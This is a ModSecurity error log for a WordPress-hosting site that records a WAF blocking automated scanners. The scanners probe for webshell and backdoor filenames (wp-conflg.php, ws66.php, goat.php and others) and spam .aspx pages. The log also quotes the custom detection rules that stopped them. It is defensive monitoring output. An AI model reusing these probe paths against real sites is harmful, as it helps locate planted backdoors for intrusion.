[Sun Mar 01 17:21:17.617115 2026] [:error] [pid 38241:tid 38267] [client 20.151.2.242:62521] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaQFDfKRPk6YnJBxw_yRvQAAANc"]
[Sun Mar 01 17:21:18.148233 2026] [:error] [pid 7165:tid 7173] [client 20.151.2.242:62511] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaQFDhRjCrA8qWBjgG93lgAAAkY"]
[Sun Mar 01 17:21:18.669378 2026] [:error] [pid 44644:tid 44651] [client 20.151.2.242:62846] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaQFDp3RJaXMcw3y9V_DsQAAAAQ"]
[Sun Mar 01 17:21:19.225570 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:62758] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aaQFDwfBuk03yQKDyqsjUgAAAdg"]
[Sun Mar 01 17:21:19.677836 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:60572] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aaQFDwfBuk03yQKDyqsjVwAAAco"]
[Sun Mar 01 17:21:20.129746 2026] [:error] [pid 7165:tid 7178] [client 20.151.2.242:62819] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aaQFEBRjCrA8qWBjgG93pAAAAks"]
[Sun Mar 01 17:21:20.664783 2026] [:error] [pid 40750:tid 40762] [client 20.151.2.242:60424] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aaQFEAfBuk03yQKDyqsjYQAAAck"]
[Sun Mar 01 17:21:21.102307 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:62579] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaQFEQfBuk03yQKDyqsjZgAAAco"]
[Sun Mar 01 17:21:21.692935 2026] [:error] [pid 7165:tid 7167] [client 20.151.2.242:61092] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaQFERRjCrA8qWBjgG93qwAAAkA"]
[Sun Mar 01 17:21:22.186802 2026] [:error] [pid 7133:tid 7147] [client 20.151.2.242:60550] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaQFEvCtubh8pR64qB_oxQAAAEw"]
[Sun Mar 01 17:21:22.612633 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:61025] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaQFEgfBuk03yQKDyqsjcgAAAdc"]
[Sun Mar 01 17:21:23.031717 2026] [:error] [pid 40750:tid 40764] [client 20.151.2.242:62720] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-atom.php"] [unique_id "aaQFEwfBuk03yQKDyqsjeQAAAcs"]
[Sun Mar 01 17:21:23.473057 2026] [:error] [pid 40750:tid 40753] [client 20.151.2.242:62539] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-atom.php"] [unique_id "aaQFEwfBuk03yQKDyqsjggAAAcA"]
[Sun Mar 01 17:21:23.954585 2026] [:error] [pid 40750:tid 40757] [client 20.151.2.242:60438] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-atom.php"] [unique_id "aaQFEwfBuk03yQKDyqsjiQAAAcQ"]
[Sun Mar 01 17:21:24.421583 2026] [:error] [pid 40750:tid 40753] [client 20.151.2.242:61011] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-atom.php"] [unique_id "aaQFFAfBuk03yQKDyqsjkQAAAcA"]
[Sun Mar 01 17:21:24.864122 2026] [:error] [pid 38241:tid 38250] [client 20.151.2.242:60438] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaQFFPKRPk6YnJBxw_yR1AAAAMY"]
[Sun Mar 01 17:21:25.429477 2026] [:error] [pid 38241:tid 38268] [client 20.151.2.242:62572] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaQFFfKRPk6YnJBxw_yR2gAAANg"]
[Sun Mar 01 17:21:25.853283 2026] [:error] [pid 44644:tid 44653] [client 20.151.2.242:62525] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaQFFZ3RJaXMcw3y9V_DswAAAAY"]
[Sun Mar 01 17:21:26.262935 2026] [:error] [pid 40750:tid 40762] [client 20.151.2.242:61079] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaQFFgfBuk03yQKDyqsjpgAAAck"]
[Sun Mar 01 17:21:26.728023 2026] [:error] [pid 40750:tid 40764] [client 20.151.2.242:63146] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaQFFgfBuk03yQKDyqsjqwAAAcs"]
[Sun Mar 01 17:21:27.157546 2026] [:error] [pid 41342:tid 41348] [client 20.151.2.242:61086] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aaQFF44iJ6RAS5CatDlRRwAAAgM"]
[Sun Mar 01 17:21:27.698842 2026] [:error] [pid 7165:tid 7169] [client 20.151.2.242:61006] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aaQFFxRjCrA8qWBjgG93twAAAkI"]
[Sun Mar 01 17:21:28.137489 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:61071] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aaQFGAfBuk03yQKDyqsjwAAAAdM"]
[Sun Mar 01 17:21:28.548437 2026] [:error] [pid 7165:tid 7189] [client 20.151.2.242:60459] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aaQFGBRjCrA8qWBjgG93vAAAAlY"]
[Sun Mar 01 17:21:28.959509 2026] [:error] [pid 38241:tid 38246] [client 20.151.2.242:63113] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aaQFGPKRPk6YnJBxw_yR8gAAAMI"]
[Sun Mar 01 17:21:29.486882 2026] [:error] [pid 40750:tid 40754] [client 20.151.2.242:63108] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aaQFGQfBuk03yQKDyqsjzgAAAcE"]
[Sun Mar 01 17:21:29.967567 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:61023] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aaQFGQfBuk03yQKDyqsj0wAAAdg"]
[Sun Mar 01 17:21:30.480935 2026] [:error] [pid 7133:tid 7146] [client 20.151.2.242:63104] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aaQFGvCtubh8pR64qB_o0wAAAEs"]
[Sun Mar 01 17:21:30.965176 2026] [:error] [pid 7165:tid 7172] [client 20.151.2.242:60570] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaQFGhRjCrA8qWBjgG93wgAAAkU"]
[Sun Mar 01 17:21:31.428849 2026] [:error] [pid 7165:tid 7181] [client 20.151.2.242:60583] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaQFGxRjCrA8qWBjgG93ygAAAk4"]
[Sun Mar 01 17:21:32.017366 2026] [:error] [pid 40750:tid 40774] [client 20.151.2.242:63159] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaQFHAfBuk03yQKDyqsj4AAAAdU"]
[Sun Mar 01 17:21:32.530183 2026] [:error] [pid 40750:tid 40760] [client 20.151.2.242:63129] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaQFHAfBuk03yQKDyqsj6gAAAcc"]
[Sun Mar 01 17:21:33.037318 2026] [:error] [pid 40750:tid 40768] [client 20.151.2.242:60997] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/txets.php"] [unique_id "aaQFHQfBuk03yQKDyqsj9gAAAc8"]
[Sun Mar 01 17:21:33.547662 2026] [:error] [pid 40750:tid 40753] [client 20.151.2.242:62814] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/txets.php"] [unique_id "aaQFHQfBuk03yQKDyqskBAAAAcA"]
[Sun Mar 01 17:21:34.022304 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:60576] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/txets.php"] [unique_id "aaQFHgfBuk03yQKDyqskCgAAAdM"]
[Sun Mar 01 17:21:34.545287 2026] [:error] [pid 7165:tid 7185] [client 20.151.2.242:63161] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/txets.php"] [unique_id "aaQFHhRjCrA8qWBjgG931gAAAlI"]
[Sun Mar 01 17:21:35.029521 2026] [:error] [pid 40750:tid 40758] [client 20.151.2.242:63224] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aaQFHwfBuk03yQKDyqskFQAAAcU"]
[Sun Mar 01 17:21:35.472284 2026] [:error] [pid 7165:tid 7181] [client 20.151.2.242:60569] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aaQFHxRjCrA8qWBjgG933QAAAk4"]
[Sun Mar 01 17:21:36.009807 2026] [:error] [pid 7165:tid 7187] [client 20.151.2.242:62810] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aaQFIBRjCrA8qWBjgG933wAAAlQ"]
[Sun Mar 01 17:21:36.464835 2026] [:error] [pid 40750:tid 40764] [client 20.151.2.242:60993] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aaQFIAfBuk03yQKDyqskLQAAAcs"]
[Sun Mar 01 17:21:36.923914 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:60470] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaQFIAfBuk03yQKDyqskMgAAAdM"]
[Sun Mar 01 17:21:44.336162 2026] [:error] [pid 7165:tid 7179] [client 20.151.2.242:63150] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaQFKBRjCrA8qWBjgG94NAAAAkw"]
[Sun Mar 01 17:21:44.795612 2026] [:error] [pid 7165:tid 7191] [client 20.151.2.242:62842] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaQFKBRjCrA8qWBjgG94OQAAAlg"]
[Sun Mar 01 17:21:45.250639 2026] [:error] [pid 7165:tid 7184] [client 20.151.2.242:62822] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaQFKRRjCrA8qWBjgG94RAAAAlE"]
[Sun Mar 01 17:21:45.664037 2026] [:error] [pid 7165:tid 7187] [client 20.151.2.242:60475] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaQFKRRjCrA8qWBjgG94SwAAAlQ"]
[Sun Mar 01 17:21:46.095726 2026] [:error] [pid 7165:tid 7182] [client 20.151.2.242:61109] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaQFKhRjCrA8qWBjgG94UQAAAk8"]
[Sun Mar 01 17:21:46.523087 2026] [:error] [pid 7165:tid 7177] [client 20.151.2.242:62744] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaQFKhRjCrA8qWBjgG94WAAAAko"]
[Sun Mar 01 17:21:46.955252 2026] [:error] [pid 38241:tid 38245] [client 20.151.2.242:60473] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaQFKvKRPk6YnJBxw_ySIQAAAME"]
[Sun Mar 01 17:21:47.367627 2026] [:error] [pid 40750:tid 40768] [client 20.151.2.242:62778] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaQFKwfBuk03yQKDyqskUQAAAc8"]
[Sun Mar 01 17:32:44.051666 2026] [:error] [pid 38241:tid 38265] [client 75.119.155.172:58228] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaQHvPKRPk6YnJBxw_yaYQAAANU"]
[Sun Mar 01 17:32:46.694295 2026] [:error] [pid 38241:tid 38258] [client 75.119.155.172:19870] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaQHvvKRPk6YnJBxw_yacgAAAM4"]
[Sun Mar 01 17:32:49.333362 2026] [:error] [pid 33822:tid 33833] [client 75.119.155.172:19886] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaQHwW6W3ygu1YVssubhoAAAAok"]
[Sun Mar 01 17:40:21.224144 2026] [:error] [pid 38241:tid 38264] [client 43.135.142.7:57702] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaQJhfKRPk6YnJBxw_ydxgAAANQ"]
[Sun Mar 01 17:51:52.986444 2026] [:error] [pid 40750:tid 40762] [client 75.119.155.172:5738] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaQMOAfBuk03yQKDyqtHBwAAAck"]
[Sun Mar 01 17:51:55.822001 2026] [:error] [pid 7165:tid 7186] [client 75.119.155.172:17422] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaQMOxRjCrA8qWBjgG-SRwAAAlM"]
